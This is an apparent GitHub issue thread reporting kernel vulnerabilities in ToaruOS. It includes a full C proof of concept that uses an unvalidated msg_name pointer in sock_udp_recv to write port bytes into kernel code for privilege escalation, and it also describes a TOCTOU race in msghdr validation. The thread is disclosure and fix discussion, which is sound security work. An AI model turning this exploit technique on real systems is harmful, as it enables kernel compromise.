Arbitrary memory write in sock_udp_recv

[terawhiz]

The msg->msg_name pointer is not validated in sock_udp_recv function. An attacker can provide arbitrary kernel address (no KASLR) to msg->msg_name and the value of udp_packet->source_port will be written to the specified memory, value of source_port is user controllable by binding a UDP socket to a specific port number from 0 to 0xffff.

if (msg->msg_namelen == sizeof(struct sockaddr_in)) {
  if (msg->msg_name) {
    ((struct sockaddr_in*)msg->msg_name)->sin_family = AF_INET;
    ((struct sockaddr_in*)msg->msg_name)->sin_port = udp_packet->source_port;      // <----------
    ((struct sockaddr_in*)msg->msg_name)->sin_addr.s_addr = data->source;
  }
}

With this 2 byte arbitrary write an attacker can carefully overwrite kernel memory (kernel code or a structure) to achieve local privilege escalation.

POC to overwrite kernel code:

#include <netinet/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>

#define MSG_LEN 0x10
#define PORT 0x9090         // nop; nop; but also a port number
#define WHERE 0x11ec54    // Target address, where to write

int main(int argc, char * argv[]) {
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (sock < 0) {
	   printf("error creating socket\n");
	   exit(-1);
	}
	printf("Socket created: %d\n", sock);

	struct sockaddr_in server_addr;
	memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        printf("Bind failed\n");
        close(sock);
        exit(-1);
    }
    printf("Binded socket to local ip and port %x\n", PORT);

	char msg[MSG_LEN] = "AAAAAAAA";
	struct iovec _iovec = {
		(void*)msg, MSG_LEN
	};
	struct msghdr header = {
		.msg_name = &server_addr,
		.msg_namelen = sizeof(struct sockaddr_in),
		.msg_iov = &_iovec,
		.msg_iovlen = 1,
		.msg_control = NULL,
		.msg_controllen = 0,
		.msg_flags = 0,
	};
	if (sendmsg(sock, &header, 0) < 0) {
        printf("sendmsg failed\n");
        exit(-1);
	}
	printf("message sent successfully\n");

	memset(&server_addr, 0, sizeof(server_addr));

	char msg2[MSG_LEN];
	struct iovec _iovec2 = {
		(void*)msg2, MSG_LEN
	};
	struct msghdr header2 = {
		.msg_name = WHERE,
		.msg_namelen = sizeof(struct sockaddr_in),
		.msg_iov = &_iovec2,
		.msg_iovlen = 1,
		.msg_control = NULL,
		.msg_controllen = 0,
		.msg_flags = 0,
	};

	// Trigger arbitrary memory write
	if (recvmsg(sock, &header2, 0) < 0) {
	   printf("recvmsg failed\n");
	   exit(-1);
	}
	return 0;
}

[klange]

Notably, the function that should have been doing this is here:

toaruos/kernel/net/socket.c

Line 283 in 28190ad

static int validate_msg(const struct msghdr * msg, int readonly) {

Use of msg_name would have been introduced when recvfrom was implemented: 18b802d

ICMP sockets should have the same issue as well, but without much useful control.

[terawhiz]

PR #311 fixes the previous bug.

Race condition bug in msghdr validation, I don't want to spam issues so writing it here:

In validate_msg funciton, a user could race one of the msghdr fields, such as msg_iov pointer. After the user pointer is validated, a kernel pointer can be replaced with msg_iov which results in read/write msg data from/to the specified kernel address.

https://github.com/klange/toaruos/blob/28190adf4cdda25950df2e7e0c69ebc638877b51/kernel/net/socket.c#L283C1-L298C2

To fix this issue, the user msghdr should be duplicated after validating the msg pointer but before validating its fields. This should prevent user from modifying msghdr fields after validation.

[klange]

Thanks for the PR, I'll take a look at it after my New Year's obligations have concluded in a few days.

To fix this issue, the user msghdr should be duplicated after validating the msg pointer but before validating its fields. This should prevent user from modifying msghdr fields after validation.

Normally, such a copy process would involve dedicated from-user and to-user functions that also ensure that the relevant memory isn't being unmapped on another core while the kernel accesses it. Unfortunately, the infrastructure for this was never implemented in Misaka. If there is a desire to tackle the many TOCTOU vulnerabilities introduced with SMP support, the groundwork needs to be laid first. I don't believe this would be a particularly large project - these are already well-studied and solved problems in real-world operating systems, and anyone familiar with the mechanisms employed by Linux and the BSDs could probably build something similar for Misaka.